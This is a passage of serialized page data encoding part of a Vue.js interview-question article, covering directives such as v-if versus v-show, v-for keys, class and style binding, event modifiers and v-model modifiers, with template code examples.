fires.",[479,1192,1193,1209],{},[482,1194,1195],{},[485,1196,1197,1200,1203,1206],{},[488,1198,1199],{},"Directive",[488,1201,1202],{},"Purpose",[488,1204,1205],{},"Shorthand",[488,1207,1208],{},"Example",[498,1210,1211,1230],{},[485,1212,1213,1217,1220,1225],{},[503,1214,1215],{},[18,1216,1178],{},[503,1218,1219],{},"Bind an attribute/prop",[503,1221,1222],{},[18,1223,1224],{},":",[503,1226,1227],{},[18,1228,1229],{},":src=\"imageUrl\"",[485,1231,1232,1236,1239,1244],{},[503,1233,1234],{},[18,1235,1181],{},[503,1237,1238],{},"Listen for an event",[503,1240,1241],{},[18,1242,1243],{},"@",[503,1245,1246],{},[18,1247,1248],{},"@click=\"handleClick\"",[123,1250,1252],{"className":125,"code":1251,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cimg :src=\"avatarUrl\" :alt=\"user.name\" />\n    \u003Cbutton @click=\"save\">Save\u003C/button>\n\u003C/template>\n",[18,1253,1254,1262,1288,1308],{"__ignoreMap":128},[132,1255,1256,1258,1260],{"class":134,"line":135},[132,1257,139],{"class":138},[132,1259,143],{"class":142},[132,1261,146],{"class":138},[132,1263,1264,1266,1269,1272,1274,1277,1280,1282,1285],{"class":134,"line":149},[132,1265,152],{"class":138},[132,1267,1268],{"class":142},"img",[132,1270,1271],{"class":158}," :src",[132,1273,162],{"class":138},[132,1275,1276],{"class":165},"\"avatarUrl\"",[132,1278,1279],{"class":158}," :alt",[132,1281,162],{"class":138},[132,1283,1284],{"class":165},"\"user.name\"",[132,1286,1287],{"class":138}," />\n",[132,1289,1290,1292,1294,1296,1298,1301,1304,1306],{"class":134,"line":176},[132,1291,152],{"class":138},[132,1293,155],{"class":142},[132,1295,159],{"class":158},[132,1297,162],{"class":138},[132,1299,1300],{"class":165},"\"save\"",[132,1302,1303],{"class":138},">Save\u003C/",[132,1305,155],{"class":142},[132,1307,146],{"class":138},[132,1309,1310,1312,1314],{"class":134,"line":186},[132,1311,179],{"class":138},[132,1313,143],{"class":142},[132,1315,146],{"class":138},[11,1317,1318,1319,592,1321,1323,1324,592,1327,1330,1331,1334,1335,1338],{},"In practice, almost everyone uses the shorthand forms (",[18,1320,1224],{},[18,1322,1243],{},") rather than writing out ",[18,1325,1326],{},"v-bind:",[18,1328,1329],{},"v-on:",", they read closer to plain HTML attributes and event handlers. Both directives can also take a dynamic argument, like ",[18,1332,1333],{},":[attributeName]=\"value\""," or ",[18,1336,1337],{},"@[eventName]=\"handler\"",", when the attribute or event name itself needs to be computed rather than fixed in the template.",[34,1340,1342,1343,592,1346,1349],{"id":1341},"_13-what-is-the-difference-between-v-if-and-v-show","13. What is the difference between ",[18,1344,1345],{},"v-if",[18,1347,1348],{},"v-show","?",[11,1351,1352,1354,1355,1357,1358,1361,1362,1365],{},[18,1353,1345],{}," conditionally renders an element: when the condition is false, Vue does not render the element to the DOM at all, and any component inside it is fully unmounted (its lifecycle hooks fire accordingly). ",[18,1356,1348],{}," always renders the element, but toggles its CSS ",[18,1359,1360],{},"display"," property between ",[18,1363,1364],{},"none"," and its normal value.",[123,1367,1369],{"className":125,"code":1368,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cdiv v-if=\"isLoggedIn\">Welcome back\u003C/div>\n    \u003Cdiv v-show=\"isPanelOpen\">Panel content\u003C/div>\n\u003C/template>\n",[18,1370,1371,1379,1401,1422],{"__ignoreMap":128},[132,1372,1373,1375,1377],{"class":134,"line":135},[132,1374,139],{"class":138},[132,1376,143],{"class":142},[132,1378,146],{"class":138},[132,1380,1381,1383,1386,1389,1391,1394,1397,1399],{"class":134,"line":149},[132,1382,152],{"class":138},[132,1384,1385],{"class":142},"div",[132,1387,1388],{"class":158}," v-if",[132,1390,162],{"class":138},[132,1392,1393],{"class":165},"\"isLoggedIn\"",[132,1395,1396],{"class":138},">Welcome back\u003C/",[132,1398,1385],{"class":142},[132,1400,146],{"class":138},[132,1402,1403,1405,1407,1410,1412,1415,1418,1420],{"class":134,"line":176},[132,1404,152],{"class":138},[132,1406,1385],{"class":142},[132,1408,1409],{"class":158}," v-show",[132,1411,162],{"class":138},[132,1413,1414],{"class":165},"\"isPanelOpen\"",[132,1416,1417],{"class":138},">Panel content\u003C/",[132,1419,1385],{"class":142},[132,1421,146],{"class":138},[132,1423,1424,1426,1428],{"class":134,"line":186},[132,1425,179],{"class":138},[132,1427,143],{"class":142},[132,1429,146],{"class":138},[11,1431,1432,1433,1435,1436,1438],{},"This leads to different cost trade-offs. ",[18,1434,1345],{}," has a higher toggle cost (it has to create or destroy DOM nodes and mount or unmount components each time), but a lower initial cost if the condition starts false, since nothing is rendered until it becomes true. ",[18,1437,1348],{}," has a higher initial render cost (it renders the element regardless of the condition), but toggling it later is cheap since it's just a CSS change.",[11,1440,1441,1442,1444,1445,1447],{},"As a rule of thumb, use ",[18,1443,1348],{}," for something that toggles often, like a dropdown or tab panel, and ",[18,1446,1345],{}," for something that rarely changes, or where you specifically want the component to be destroyed and recreated, like a modal that should reset its internal state each time it opens.",[34,1449,1451,1452,1455,1456,1349],{"id":1450},"_14-what-does-v-for-do-and-why-does-it-need-a-key","14. What does ",[18,1453,1454],{},"v-for"," do, and why does it need a ",[18,1457,1458],{},":key",[11,1460,1461,1463],{},[18,1462,1454],{}," renders a list of elements by looping over an array, object, or range, once per item.",[123,1465,1467],{"className":125,"code":1466,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cul>\n        \u003Cli v-for=\"item in items\" :key=\"item.id\">\n            {{ item.name }}\n        \u003C/li>\n    \u003C/ul>\n\u003C/template>\n",[18,1468,1469,1477,1485,1510,1515,1524,1533],{"__ignoreMap":128},[132,1470,1471,1473,1475],{"class":134,"line":135},[132,1472,139],{"class":138},[132,1474,143],{"class":142},[132,1476,146],{"class":138},[132,1478,1479,1481,1483],{"class":134,"line":149},[132,1480,152],{"class":138},[132,1482,56],{"class":142},[132,1484,146],{"class":138},[132,1486,1487,1490,1492,1495,1497,1500,1503,1505,1508],{"class":134,"line":176},[132,1488,1489],{"class":138},"        \u003C",[132,1491,59],{"class":142},[132,1493,1494],{"class":158}," v-for",[132,1496,162],{"class":138},[132,1498,1499],{"class":165},"\"item in items\"",[132,1501,1502],{"class":158}," :key",[132,1504,162],{"class":138},[132,1506,1507],{"class":165},"\"item.id\"",[132,1509,146],{"class":138},[132,1511,1512],{"class":134,"line":186},[132,1513,1514],{"class":138},"            {{ item.name }}\n",[132,1516,1517,1520,1522],{"class":134,"line":193},[132,1518,1519],{"class":138},"        \u003C/",[132,1521,59],{"class":142},[132,1523,146],{"class":138},[132,1525,1526,1529,1531],{"class":134,"line":206},[132,1527,1528],{"class":138},"    \u003C/",[132,1530,56],{"class":142},[132,1532,146],{"class":138},[132,1534,1535,1537,1539],{"class":134,"line":222},[132,1536,179],{"class":138},[132,1538,143],{"class":142},[132,1540,146],{"class":138},[11,1542,1543,1544,1546,1547,1549],{},"The ",[18,1545,1458],{}," is how Vue tracks which DOM node corresponds to which piece of data across re-renders. Without a stable key, Vue's default patching strategy tries to reuse and mutate existing DOM elements in place rather than tracking identity, based only on position. If the list gets reordered, filtered, or has items inserted or removed, that in-place patching can update the wrong element's content, or leave stale local state (like text typed into an input, or a child component's own internal state) attached to the wrong logical item. Giving each item a unique, stable ",[18,1548,1458],{},", usually an id from your data rather than the array index, tells Vue exactly which existing element maps to which item, so it can correctly reorder and reuse elements instead of guessing.",[34,1551,1553,1554,1556,1557,1559],{"id":1552},"_15-why-is-using-the-array-index-as-a-key-in-v-for-considered-risky","15. Why is using the array index as a ",[18,1555,1458],{}," in ",[18,1558,1454],{}," considered risky?",[11,1561,1562,1563,581,1565,581,1568,1571,1572,1574],{},"An index-based key ties an item's identity to its position in the array (",[18,1564,246],{},[18,1566,1567],{},"1",[18,1569,1570],{},"2",", ...) rather than to the actual data it represents. That's fine as long as the list never reorders and items are only ever added at the end. It breaks down the moment items are inserted at the front, removed from the middle, filtered, or sorted, because the item that used to be at index ",[18,1573,1570],{}," is now a completely different item, but Vue still sees \"key 2\" and assumes it's the same element as before.",[123,1576,1578],{"className":125,"code":1577,"language":127,"meta":128,"style":128},"\u003C!-- risky -->\n\u003Cli v-for=\"(item, index) in items\" :key=\"index\">\n    \u003Cinput v-model=\"item.text\" />\n\u003C/li>\n",[18,1579,1580,1585,1626,1631],{"__ignoreMap":128},[132,1581,1582],{"class":134,"line":135},[132,1583,1584],{"class":397},"\u003C!-- risky -->\n",[132,1586,1587,1589,1591,1593,1595,1598,1601,1604,1607,1609,1612,1615,1617,1619,1622,1624],{"class":134,"line":149},[132,1588,139],{"class":138},[132,1590,59],{"class":142},[132,1592,1494],{"class":209},[132,1594,162],{"class":138},[132,1596,1597],{"class":165},"\"",[132,1599,1600],{"class":138},"(item, index) ",[132,1602,1603],{"class":209},"in",[132,1605,1606],{"class":138}," items",[132,1608,1597],{"class":165},[132,1610,1611],{"class":138}," :",[132,1613,1614],{"class":158},"key",[132,1616,162],{"class":138},[132,1618,1597],{"class":165},[132,1620,1621],{"class":138},"index",[132,1623,1597],{"class":165},[132,1625,146],{"class":138},[132,1627,1628],{"class":134,"line":176},[132,1629,1630],{"class":138},"    \u003Cinput v-model=\"item.text\" />\n",[132,1632,1633,1635,1637],{"class":134,"line":186},[132,1634,179],{"class":138},[132,1636,59],{"class":142},[132,1638,146],{"class":138},[11,1640,1641,1642,1645,1646,1648,1649,1652],{},"If you remove the first item from ",[18,1643,1644],{},"items"," here, Vue thinks the element previously at index ",[18,1647,1567],{}," is unchanged, and only the last element needs removing, so it reuses the existing ",[18,1650,1651],{},"\u003Cinput>"," DOM nodes and their typed-in values in place rather than tracking which input belonged to which item. The visible result is inputs (or any local component state) appearing to hold onto the wrong row's data after the list changes.",[11,1654,1655,1656,1659],{},"The fix is to key on something stable that actually identifies the item, typically an ",[18,1657,1658],{},"id"," from your data:",[123,1661,1663],{"className":125,"code":1662,"language":127,"meta":128,"style":128},"\u003Cli v-for=\"item in items\" :key=\"item.id\">\n    \u003Cinput v-model=\"item.text\" />\n\u003C/li>\n",[18,1664,1665,1701,1705],{"__ignoreMap":128},[132,1666,1667,1669,1671,1673,1675,1677,1680,1682,1684,1686,1688,1690,1692,1694,1697,1699],{"class":134,"line":135},[132,1668,139],{"class":138},[132,1670,59],{"class":142},[132,1672,1494],{"class":209},[132,1674,162],{"class":138},[132,1676,1597],{"class":165},[132,1678,1679],{"class":138},"item ",[132,1681,1603],{"class":209},[132,1683,1606],{"class":138},[132,1685,1597],{"class":165},[132,1687,1611],{"class":138},[132,1689,1614],{"class":158},[132,1691,162],{"class":138},[132,1693,1597],{"class":165},[132,1695,1696],{"class":138},"item.id",[132,1698,1597],{"class":165},[132,1700,146],{"class":138},[132,1702,1703],{"class":134,"line":149},[132,1704,1630],{"class":138},[132,1706,1707,1709,1711],{"class":134,"line":176},[132,1708,179],{"class":138},[132,1710,59],{"class":142},[132,1712,146],{"class":138},[11,1714,1715],{},"Index keys are only acceptable for lists that are static and never reordered or filtered.",[34,1717,1719,1720,1723],{"id":1718},"_16-how-do-you-bind-dynamic-classes-with-class-object-and-array-syntax","16. How do you bind dynamic classes with ",[18,1721,1722],{},":class"," (object and array syntax)?",[11,1725,1726,1728,1729,1732],{},[18,1727,1722],{}," lets you toggle CSS classes based on reactive state instead of concatenating class name strings by hand. It accepts an object, an array, or a mix of both, and it can be combined with a plain static ",[18,1730,1731],{},"class"," attribute on the same element.",[123,1734,1736],{"className":125,"code":1735,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003C!-- object syntax: keys are class names, values are booleans -->\n    \u003Cdiv :class=\"{ active: isActive, 'text-danger': hasError }\">\u003C/div>\n\n    \u003C!-- array syntax: list of class values -->\n    \u003Cdiv :class=\"[baseClass, isActive ? 'active' : '']\">\u003C/div>\n\n    \u003C!-- array with an object inside -->\n    \u003Cdiv :class=\"[baseClass, { active: isActive }]\">\u003C/div>\n\u003C/template>\n",[18,1737,1738,1746,1751,1772,1776,1781,1800,1804,1809,1828],{"__ignoreMap":128},[132,1739,1740,1742,1744],{"class":134,"line":135},[132,1741,139],{"class":138},[132,1743,143],{"class":142},[132,1745,146],{"class":138},[132,1747,1748],{"class":134,"line":149},[132,1749,1750],{"class":397},"    \u003C!-- object syntax: keys are class names, values are booleans -->\n",[132,1752,1753,1755,1757,1760,1762,1765,1768,1770],{"class":134,"line":176},[132,1754,152],{"class":138},[132,1756,1385],{"class":142},[132,1758,1759],{"class":158}," :class",[132,1761,162],{"class":138},[132,1763,1764],{"class":165},"\"{ active: isActive, 'text-danger': hasError }\"",[132,1766,1767],{"class":138},">\u003C/",[132,1769,1385],{"class":142},[132,1771,146],{"class":138},[132,1773,1774],{"class":134,"line":186},[132,1775,190],{"emptyLinePlaceholder":189},[132,1777,1778],{"class":134,"line":193},[132,1779,1780],{"class":397},"    \u003C!-- array syntax: list of class values -->\n",[132,1782,1783,1785,1787,1789,1791,1794,1796,1798],{"class":134,"line":206},[132,1784,152],{"class":138},[132,1786,1385],{"class":142},[132,1788,1759],{"class":158},[132,1790,162],{"class":138},[132,1792,1793],{"class":165},"\"[baseClass, isActive ? 'active' : '']\"",[132,1795,1767],{"class":138},[132,1797,1385],{"class":142},[132,1799,146],{"class":138},[132,1801,1802],{"class":134,"line":222},[132,1803,190],{"emptyLinePlaceholder":189},[132,1805,1806],{"class":134,"line":227},[132,1807,1808],{"class":397},"    \u003C!-- array with an object inside -->\n",[132,1810,1811,1813,1815,1817,1819,1822,1824,1826],{"class":134,"line":252},[132,1812,152],{"class":138},[132,1814,1385],{"class":142},[132,1816,1759],{"class":158},[132,1818,162],{"class":138},[132,1820,1821],{"class":165},"\"[baseClass, { active: isActive }]\"",[132,1823,1767],{"class":138},[132,1825,1385],{"class":142},[132,1827,146],{"class":138},[132,1829,1830,1832,1834],{"class":134,"line":257},[132,1831,179],{"class":138},[132,1833,143],{"class":142},[132,1835,146],{"class":138},[11,1837,1838,1839,1842,1843,1846,1847,1850,1851,1854,1855,1858],{},"The object syntax is the most common for conditional classes: each key is a class name, and it's applied only when its value is truthy, so ",[18,1840,1841],{},"{ active: isActive }"," adds the ",[18,1844,1845],{},"active"," class whenever ",[18,1848,1849],{},"isActive"," is ",[18,1852,1853],{},"true",". The array syntax is more useful when you're combining several class expressions together, like a static base class plus a computed one. Both forms are fully reactive, so classes update automatically whenever the underlying state changes, and both can be used alongside a regular static ",[18,1856,1857],{},"class=\"...\""," attribute, Vue merges them.",[34,1860,1862,1863,1349],{"id":1861},"_17-how-do-you-bind-dynamic-inline-styles-with-style","17. How do you bind dynamic inline styles with ",[18,1864,1865],{},":style",[11,1867,1868,1870],{},[18,1869,1865],{}," binds inline CSS styles to an element using a JavaScript object or array of objects, instead of building a style string by hand.",[123,1872,1874],{"className":125,"code":1873,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cdiv :style=\"{ color: activeColor, fontSize: fontSize + 'px' }\">\u003C/div>\n\n    \u003C!-- camelCase or kebab-case (quoted) keys both work -->\n    \u003Cdiv :style=\"{ 'font-size': fontSize + 'px' }\">\u003C/div>\n\n    \u003C!-- array syntax merges multiple style objects -->\n    \u003Cdiv :style=\"[baseStyles, overrideStyles]\">\u003C/div>\n\u003C/template>\n",[18,1875,1876,1884,1904,1908,1913,1932,1936,1941,1960],{"__ignoreMap":128},[132,1877,1878,1880,1882],{"class":134,"line":135},[132,1879,139],{"class":138},[132,1881,143],{"class":142},[132,1883,146],{"class":138},[132,1885,1886,1888,1890,1893,1895,1898,1900,1902],{"class":134,"line":149},[132,1887,152],{"class":138},[132,1889,1385],{"class":142},[132,1891,1892],{"class":158}," :style",[132,1894,162],{"class":138},[132,1896,1897],{"class":165},"\"{ color: activeColor, fontSize: fontSize + 'px' }\"",[132,1899,1767],{"class":138},[132,1901,1385],{"class":142},[132,1903,146],{"class":138},[132,1905,1906],{"class":134,"line":176},[132,1907,190],{"emptyLinePlaceholder":189},[132,1909,1910],{"class":134,"line":186},[132,1911,1912],{"class":397},"    \u003C!-- camelCase or kebab-case (quoted) keys both work -->\n",[132,1914,1915,1917,1919,1921,1923,1926,1928,1930],{"class":134,"line":193},[132,1916,152],{"class":138},[132,1918,1385],{"class":142},[132,1920,1892],{"class":158},[132,1922,162],{"class":138},[132,1924,1925],{"class":165},"\"{ 'font-size': fontSize + 'px' }\"",[132,1927,1767],{"class":138},[132,1929,1385],{"class":142},[132,1931,146],{"class":138},[132,1933,1934],{"class":134,"line":206},[132,1935,190],{"emptyLinePlaceholder":189},[132,1937,1938],{"class":134,"line":222},[132,1939,1940],{"class":397},"    \u003C!-- array syntax merges multiple style objects -->\n",[132,1942,1943,1945,1947,1949,1951,1954,1956,1958],{"class":134,"line":227},[132,1944,152],{"class":138},[132,1946,1385],{"class":142},[132,1948,1892],{"class":158},[132,1950,162],{"class":138},[132,1952,1953],{"class":165},"\"[baseStyles, overrideStyles]\"",[132,1955,1767],{"class":138},[132,1957,1385],{"class":142},[132,1959,146],{"class":138},[132,1961,1962,1964,1966],{"class":134,"line":252},[132,1963,179],{"class":138},[132,1965,143],{"class":142},[132,1967,146],{"class":138},[11,1969,1970,1971,1974,1975,1978,1979,1982,1983,1334,1986,1989],{},"Object keys can be written in camelCase (",[18,1972,1973],{},"fontSize",") or kebab-case with quotes (",[18,1976,1977],{},"'font-size'","), both map to the same CSS property. Values that need units, like pixel sizes, have to include the unit as part of the string, Vue does not automatically append ",[18,1980,1981],{},"px",". The array syntax is useful when you want to merge a base set of styles with conditional overrides, later objects in the array take precedence for any overlapping properties. Vue also automatically adds vendor prefixes for CSS properties that need them, so you generally don't need to write ",[18,1984,1985],{},"-webkit-",[18,1987,1988],{},"-moz-"," variants yourself.",[34,1991,1993,1994,581,1997,581,2000,581,2003,581,2006,581,2009,376],{"id":1992},"_18-what-are-event-modifiers-in-vue-stop-prevent-once-self-capture-passive","18. What are event modifiers in Vue (",[18,1995,1996],{},".stop",[18,1998,1999],{},".prevent",[18,2001,2002],{},".once",[18,2004,2005],{},".self",[18,2007,2008],{},".capture",[18,2010,2011],{},".passive",[11,2013,2014,2015,355,2017,2019,2020,2023],{},"Event modifiers are suffixes you attach to ",[18,2016,1181],{},[18,2018,1243],{},") that handle common event-related tasks declaratively in the template, instead of you having to call things like ",[18,2021,2022],{},"event.preventDefault()"," inside the handler function itself.",[479,2025,2026,2036],{},[482,2027,2028],{},[485,2029,2030,2033],{},[488,2031,2032],{},"Modifier",[488,2034,2035],{},"Effect",[498,2037,2038,2051,2062,2071,2080,2089],{},[485,2039,2040,2044],{},[503,2041,2042],{},[18,2043,1996],{},[503,2045,2046,2047,2050],{},"Calls ",[18,2048,2049],{},"event.stopPropagation()",", stops the event from bubbling further",[485,2052,2053,2057],{},[503,2054,2055],{},[18,2056,1999],{},[503,2058,2046,2059,2061],{},[18,2060,2022],{},", stops the browser's default action (e.g. form submit)",[485,2063,2064,2068],{},[503,2065,2066],{},[18,2067,2002],{},[503,2069,2070],{},"The handler fires at most once, then the listener is removed",[485,2072,2073,2077],{},[503,2074,2075],{},[18,2076,2005],{},[503,2078,2079],{},"Only triggers if the event's target is the element itself, not a child",[485,2081,2082,2086],{},[503,2083,2084],{},[18,2085,2008],{},[503,2087,2088],{},"Listens during the capture phase instead of the bubble phase",[485,2090,2091,2095],{},[503,2092,2093],{},[18,2094,2011],{},[503,2096,2097,2098,2101],{},"Tells the browser the handler won't call ",[18,2099,2100],{},"preventDefault()",", improving scroll performance",[123,2103,2105],{"className":125,"code":2104,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003Cform @submit.prevent=\"handleSubmit\">\n        \u003Cbutton @click.stop=\"removeItem\">Remove\u003C/button>\n    \u003C/form>\n\u003C/template>\n",[18,2106,2107,2115,2132,2153,2161],{"__ignoreMap":128},[132,2108,2109,2111,2113],{"class":134,"line":135},[132,2110,139],{"class":138},[132,2112,143],{"class":142},[132,2114,146],{"class":138},[132,2116,2117,2119,2122,2125,2127,2130],{"class":134,"line":149},[132,2118,152],{"class":138},[132,2120,2121],{"class":142},"form",[132,2123,2124],{"class":158}," @submit.prevent",[132,2126,162],{"class":138},[132,2128,2129],{"class":165},"\"handleSubmit\"",[132,2131,146],{"class":138},[132,2133,2134,2136,2138,2141,2143,2146,2149,2151],{"class":134,"line":176},[132,2135,1489],{"class":138},[132,2137,155],{"class":142},[132,2139,2140],{"class":158}," @click.stop",[132,2142,162],{"class":138},[132,2144,2145],{"class":165},"\"removeItem\"",[132,2147,2148],{"class":138},">Remove\u003C/",[132,2150,155],{"class":142},[132,2152,146],{"class":138},[132,2154,2155,2157,2159],{"class":134,"line":186},[132,2156,1528],{"class":138},[132,2158,2121],{"class":142},[132,2160,146],{"class":138},[132,2162,2163,2165,2167],{"class":134,"line":193},[132,2164,179],{"class":138},[132,2166,143],{"class":142},[132,2168,146],{"class":138},[11,2170,2171,2172,2175],{},"Modifiers can be chained, like ",[18,2173,2174],{},"@click.stop.prevent",", and Vue applies them in the order they're written. Keeping this logic in the template rather than the handler keeps the handler function focused purely on what it should do, not on generic DOM event plumbing.",[34,2177,2179,2180,2183,2184,581,2187,581,2190,376],{"id":2178},"_19-what-are-the-built-in-v-model-modifiers-lazy-number-trim","19. What are the built-in ",[18,2181,2182],{},"v-model"," modifiers (",[18,2185,2186],{},".lazy",[18,2188,2189],{},".number",[18,2191,2192],{},".trim",[11,2194,2195,2197,2198,2201],{},[18,2196,2182],{}," normally syncs on the ",[18,2199,2200],{},"input"," event, meaning it updates on every keystroke. The built-in modifiers change that default behavior.",[123,2203,2205],{"className":125,"code":2204,"language":127,"meta":128,"style":128},"\u003Ctemplate>\n    \u003C!-- sync on 'change' instead of 'input' (fires on blur/enter) -->\n    \u003Cinput v-model.lazy=\"message\" />\n\n    \u003C!-- automatically cast the entered value to a Number -->\n    \u003Cinput v-model.number=\"age\" type=\"number\" />\n\n    \u003C!-- automatically trim leading/trailing whitespace -->\n    \u003Cinput v-model.trim=\"username\" />\n\u003C/template>\n",[18,2206,2207,2215,2220,2236,2240,2245,2269,2273,2278,2294],{"__ignoreMap":128},[132,2208,2209,2211,2213],{"class":134,"line":135},[132,2210,139],{"class":138},[132,2212,143],{"class":142},[132,2214,146],{"class":138},[132,2216,2217],{"class":134,"line":149},[132,2218,2219],{"class":397},"    \u003C!-- sync on 'change' instead of 'input' (fires on blur/enter) -->\n",[132,2221,2222,2224,2226,2229,2231,2234],{"class":134,"line":176},[132,2223,152],{"class":138},[132,2225,2200],{"class":142},[132,2227,2228],{"class":158}," v-model.lazy",[132,2230,162],{"class":138},[132,2232,2233],{"class":165},"\"message\"",[132,2235,1287],{"class":138},[132,2237,2238],{"class":134,"line":186},[132,2239,190],{"emptyLinePlaceholder":189},[132,2241,2242],{"class":134,"line":193},[132,2243,2244],{"class":397},"    \u003C!-- automatically cast the entered value to a Number -->\n",[132,2246,2247,2249,2251,2254,2256,2259,2262,2264,2267],{"class":134,"line":206},[132,2248,152],{"class":138},[132,2250,2200],{"class":142},[132,2252,2253],{"class":158}," v-model.number",[132,2255,162],{"class":138},[132,2257,2258],{"class":165},"\"age\"",[132,2260,2261],{"class":158}," type",[132,2263,162],{"class":138},[132,2265,2266],{"class":165},"\"number\"",[132,2268,1287],{"class":138},[132,2270,2271],{"class":134,"line":222},[132,2272,190],{"emptyLinePlaceholder":189},[132,2274,2275],{"class":134,"line":227},[132,2276,2277],{"class":397},"    \u003C!-- automatically trim leading/trailing whitespace -->\n",[132,2279,2280,2282,2284,2287,2289,2292],{"class":134,"line":252},[132,2281,152],{"class":138},[132,2283,2200],{"class":142},[132,2285,2286],{"class":158}," v-model.trim",[132,2288,162],{"class":138},[132,2290,2291],{"class":165},"\"username\"",[132,2293,1287],{"class":138},[132,2295,2296,2298,2300],{"class":134,"line":257},[132,2297,179],{"class":138},[132,2299,143],{"class":142},[132,2301,146],{"class":138},[11,2303,2304,2306,2307,2309,2310,2313,2314,2316,2317,2320,2321,2323,2324,385],{},[18,2305,2186],{}," switches the sync point from the ",[18,2308,2200],{}," event to the ",[18,2311,2312],{},"change"," event, so the bound value updates only after the field loses focus or the user presses Enter, useful if you don't need to react on every keystroke. ",[18,2315,2189],{}," casts the entered string to a number automatically, which is handy since form inputs always produce strings by default, even for ",[18,2318,2319],{},"type=\"number\""," fields. ",[18,2322,2192],{}," strips leading and trailing whitespace from the value automatically. Modifiers can be combined, like ",[18,2325,2326],{},"v-model.lazy.trim=\"username\"",[34,2328,2330,2331,2334],{"id":2329},"_20-what-does-v-bindobject-do-binding-a-whole-object-of-attributes-at-once","20. What does ",[18,2332,2333],{},"v-bind=\"object\""," do (binding a whole object of attributes at once)?",[11,2336,2337,2338,2340],{},"Passing an object directly to ",[18,2339,1178],{},", without an argument, binds every key/value pair in that object as a separate attribute or prop on the element, in one go, instead of writing out each binding individually.",[123,2342,2344],{"className":125,"code":2343,"language":127,"meta":128,"style":128},"\u003Cscript setup>\nconst linkAttrs = {\n    href: 'https://devportalnotes.com',\n    target: '_blank',\n    rel: 'noopener'\n}\n\u003C/script>\n\n\u003Ctemplate>\n    \u003Ca v-bind=\"linkAttrs\">Visit site\u003C/a>\n    \u003C!-- equivalent to -->\n    \u003Ca :href=\"linkAttrs.href\" :target=\"linkAttrs.target\" :rel=\"linkAttrs.rel\">Visit site\u003C/a>\n\u003C/template>\n",[18,2345,2346,2356,2367,2378,2388,2396,2400,2408,2412,2420,2441,2446,2482],{"__ignoreMap":128},[132,2347,2348,2350,2352,2354],{"class":134,"line":135},[132,2349,139],{"class":138},[132,2351,198],{"class":142},[132,2353,201],{"class":158},[132,2355,146],{"class":138},[132,2357,2358,2360,2363,2365],{"class":134,"line":149},[132,2359,230],{"class":209},[132,2361,2362],{"class":233}," linkAttrs",[132,2364,237],{"class":209},[132,2366,316],{"class":138},[132,2368,2369,2372,2375],{"class":134,"line":176},[132,2370,2371],{"class":138},"    href: ",[132,2373,2374],{"class":165},"'https://devportalnotes.com'",[132,2376,2377],{"class":138},",\n",[132,2379,2380,2383,2386],{"class":134,"line":186},[132,2381,2382],{"class":138},"    target: ",[132,2384,2385],{"class":165},"'_blank'",[132,2387,2377],{"class":138},[132,2389,2390,2393],{"class":134,"line":193},[132,2391,2392],{"class":138},"    rel: ",[132,2394,2395],{"class":165},"'noopener'\n",[132,2397,2398],{"class":134,"line":206},[132,2399,281],{"class":138},[132,2401,2402,2404,2406],{"class":134,"line":222},[132,2403,179],{"class":138},[132,2405,198],{"class":142},[132,2407,146],{"class":138},[132,2409,2410],{"class":134,"line":227},[132,2411,190],{"emptyLinePlaceholder":189},[132,2413,2414,2416,2418],{"class":134,"line":252},[132,2415,139],{"class":138},[132,2417,143],{"class":142},[132,2419,146],{"class":138},[132,2421,2422,2424,2426,2429,2431,2434,2437,2439],{"class":134,"line":257},[132,2423,152],{"class":138},[132,2425,23],{"class":142},[132,2427,2428],{"class":158}," v-bind",[132,2430,162],{"class":138},[132,2432,2433],{"class":165},"\"linkAttrs\"",[132,2435,2436],{"class":138},">Visit site\u003C/",[132,2438,23],{"class":142},[132,2440,146],{"class":138},[132,2442,2443],{"class":134,"line":269},[132,2444,2445],{"class":397},"    \u003C!-- equivalent to -->\n",[132,2447,2448,2450,2452,2455,2457,2460,2463,2465,2468,2471,2473,2476,2478,2480],{"class":134,"line":278},[132,2449,152],{"class":138},[132,2451,23],{"class":142},[132,2453,2454],{"class":158}," :href",[132,2456,162],{"class":138},[132,2458,2459],{"class":165},"\"linkAttrs.href\"",[132,2461,2462],{"class":158}," :target",[132,2464,162],{"class":138},[132,2466,2467],{"class":165},"\"linkAttrs.target\"",[132,2469,2470],{"class":158}," :rel",[132,2472,162],{"class":138},[132,2474,2475],{"class":165},"\"linkAttrs.rel\"",[132,2477,2436],{"class":138},[132,2479,23],{"class":142},[132,2481,146],{"class":138},[132,2483,2484,2486,2488],{"class":134,"line":284},[132,2485,179],{"class":138},[132,2487,143],{"class":142},[132,2489,146],{"class":138},[11,2491,2492,2493,2496,2497,2500,2501,2504],{},"This is useful for grouping a set of related attributes into one config object rather than repeating ",[18,2494,2495],{},":attr=\"obj.attr\""," for each one, and it's also commonly used together with ",[18,2498,2499],{},"$attrs",", for example ",[18,2502,2503],{},"v-bind=\"$attrs\""," on a component's root element to forward any attributes the parent passed down that weren't explicitly declared as props. If the same attribute is also set individually on the element, the order in the template decides which one wins, later bindings override earlier ones.",[34,2506,2508,2509,592,2511,2513],{"id":2507},"_21-can-you-use-v-if-and-v-for-on-the-same-element-and-why-is-it-discouraged","21. Can you use ",[18,2510,1345],{},[18,2512,1454],{}," on the same element, and why is it discouraged?",[11,2515,2516],{},"Technically you can put both directives on the same element, but it's discouraged, and in Vue 3 it will actually throw a compile-time error rather than silently doing something confusing.",[11,2518,2519,2520,2522,2523,2525,2526,2528,2529,2532,2533,2535],{},"The reason is precedence. In Vue 3, ",[18,2521,1345],{}," has higher precedence than ",[18,2524,1454],{}," on the same element, meaning it's evaluated first, before the ",[18,2527,1454],{}," variable even exists in scope. So something like this is invalid, because ",[18,2530,2531],{},"todo"," isn't defined yet when ",[18,2534,1345],{}," runs:",[123,2537,2539],{"className":125,"code":2538,"language":127,"meta":128,"style":128},"\u003C!-- invalid in Vue 3, todo is not yet defined -->\n\u003Cli v-for=\"todo in todos\" v-if=\"!todo.done\" :key=\"todo.id\">\n    {{ todo.text }}\n\u003C/li>\n",[18,2540,2541,2546,2597,2602],{"__ignoreMap":128},[132,2542,2543],{"class":134,"line":135},[132,2544,2545],{"class":397},"\u003C!-- invalid in Vue 3, todo is not yet defined 